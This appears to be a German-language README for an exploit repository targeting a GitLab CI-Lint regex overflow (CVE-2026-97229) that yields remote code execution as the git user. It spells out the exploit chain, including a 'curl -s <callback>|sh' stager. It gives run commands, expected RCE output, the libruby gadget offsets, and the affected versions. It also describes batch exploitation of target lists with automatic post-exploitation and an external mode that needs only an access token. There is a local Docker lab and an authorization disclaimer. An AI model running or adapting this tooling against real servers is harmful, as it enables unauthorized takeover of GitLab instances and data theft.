CVE-2026-97229 GitLab CI-Lint-Regex-Integer-Overflow-RCE — InstaBox-Versionsmatrix-Reproduktion & Reverse Engineering des libruby-Gadgets
Nur autorisiertes Testen. Verwenden Sie dies nur gegen Systeme, die Ihnen gehören oder für die Sie ausdrücklich autorisiert sind (Bug-Bounty-Scope, Kundenauftrag, Ihr eigenes Labor). Unbefugte Nutzung ist illegal.
Eine nicht authentifizierte CI-Lint-Anfrage, die den Onigmo-Matcher korrumpiert und die Ausführung auf ein
system()-Gadget innerhalb von libruby.so umleitet:
GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
→ include.rules.exists.regexp compiles a crafted pattern
→ a 57k-repeat drives the matcher into a ~2 GiB expansion
→ the write lands past the allocation and redirects the VM frame
→ mov r14,rdi; call system@plt runs a 28-byte stager
→ curl -s <callback>|sh → uid=998(git)
Die abschließende Anfrage ist unauthentifiziert, aber das Platzieren der bösartigen CI-Konfiguration erfordert Schreibzugriff auf ein öffentliches Projekt (oder eine Instanz, die Selbstregistrierung und öffentliche Projekte erlaubt).
| Element | Wert |
|---|---|
| Betroffen (getestet) | 19.2.0–19.2.7, 19.3.0–19.3.3, 19.4.0–19.4.1 |
| Nicht ausnutzbar | 19.2.8, 19.3.4 (Ausreißer, siehe unten), 19.3.5, 19.4.2; 19.2.3 hat kein CE-Image |
| Auslöser | unauthentifiziertes GET /api/v4/projects/:id/ci/lint |
| Voraussetzungen | Erreichbarkeit + Schreibzugriff auf ein öffentliches Projekt (Token, kompromittiertes Konto oder offene Registrierung) |
| Auswirkung | Befehlsausführung als git (uid 998) innerhalb des GitLab-Containers |
| PoC-Einschränkungen | x86_64-Builds; das Layout ist pro libruby.so-Build, nicht pro Versionsstring |
| Advisory-Grenze | 19.2.x < 19.2.8, 19.3.x < 19.3.5, 19.4.x < 19.4.2 |
19.3.4 wird im Advisory als betroffen aufgeführt, aber das mitgelieferte
libruby.sogelangt nie in den anfälligen Expansionspfad — wir konnten es nicht weaponisieren (repro/evidence/2026-10-18-full-matrix/).
./lab/run.sh 19.4.1 # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1
Expected last line:
{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
"output":"uid=998(git) gid=998(git) groups=998(git)\n..."}
Ohne Cloud-Konto und ohne SSH: Das Lab ist reines Docker (lokaler Daemon, DOCKER_HOST oder ein Docker-Kontext).
Unter Docker Desktop fügen Sie --callback-host host.docker.internal hinzu.
include.rules.exists.regexp sowie einen 110 Byte langen Repository-Pfad enthält.{5(?#)7805} geschrieben, sodass der Rails-seitige Repeat-Guard (REPEAT_MAX=1000) sie nicht erkennt.call-Instruktion und den Offset von system@plt und leitet die VM um.curl -s <callback>|sh und liefert eine Shell als der git-Dienstbenutzer../lab/run.sh 19.4.1 # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081 # second version on another port
Der Launcher wendet die Speichereinstellungen an, die der Exploit benötigt (sidekiq off, ein Puma-Worker, kleine
Postgres-Puffer, --memory 6.5g --shm-size 256m), wartet auf die UI und setzt das Root-Passwort.
Siehe lab/README.md / lab/README_CN.md.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
| Feld | Bedeutung |
|---|---|
http | Status von GET /users/sign_in |
version | GitLab-Version, aus dem Container ausgelesen (null ohne Containerzugriff) |
class | Advisory-Klassifizierung: affected / patched / not-listed / unknown |
libruby_md5 | Build-Identität der libruby.so des Zielcontainers |
layout | finish / gadget / step (nur wenn der Build bekannt oder ableitbar ist) |
exploitable | ob ein Layout verfügbar ist; class=affected bedeutet dies nicht zwangsläufig |
layout_source | table, derived oder no-overflow-in-build |
class: "unknown" bedeutet lediglich, dass keine Container-/Versionsinformationen verfügbar waren — bei einem rein URL-basierten Ziel kann das Tool weder klassifizieren noch ein Layout ableiten. Siehe „Externe Ziele“ unten.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
--command 'id; hostname; uname -a'
Erfolgskriterium: lint ist dropped(HTTPError) oder http(502) und output beginnt mit
uid=998(git). Ein 200 mit valid:true bedeutet, dass der Build nicht verwundbar ist.
| Linie | Ausnutzbar | Gepatcht / nicht ausnutzbar |
|---|---|---|
| 19.2.x | 19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.7 | 19.2.8; 19.2.3 hat kein CE-Image |
| 19.3.x | 19.3.0–19.3.3 | 19.3.4 (Matcher wird nie erweitert), 19.3.5 |
| 19.4.x | 19.4.0, 19.4.1 | 19.4.2 |
Nachweise pro Build: repro/evidence/2026-10-18-full-matrix/
(中文).
# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080
# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1
# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,
container ist für den aktuellen Exploit-Pfad erforderlich (libruby/layout + rails runner); layout ist eine
optionale Überschreibung für Builds, die das Tool nicht lesen kann.
python3 exploit/cve97229.py --targets targets.txt --json-out run.json
Für jedes Ziel, in dieser Reihenfolge: probe → exploit → bei RCE post-exploitation
(exploit/post/collect.sh; überschreiben mit --post-command-file, deaktivieren mit --no-post).
--probe-only stoppt nach dem Fingerprinting. Exit-Code 0, wenn ein Ziel RCE ermöglicht hat.
Die Payload benötigt drei build-spezifische Konstanten (finish, system@plt-Gadget, UTF-8-Schritt). Auflösungsreihenfolge:
layout (0x… 0x… 12345);libruby.so des Containers über exploit/layout.py.Alle bekannten verwundbaren Builds verwenden nur zwei Layouts: 0x486DA9/0x31EE29/1249885 und
0x4885A9/0x31E809/1256138.
--mode external benötigt nur HTTP und ein PAT (api-Scope): Es erstellt ein öffentliches Projekt über die API,
pusht mit oauth2:<token>, löst den unauthentifizierten Lint aus und entfernt das Projekt anschließend.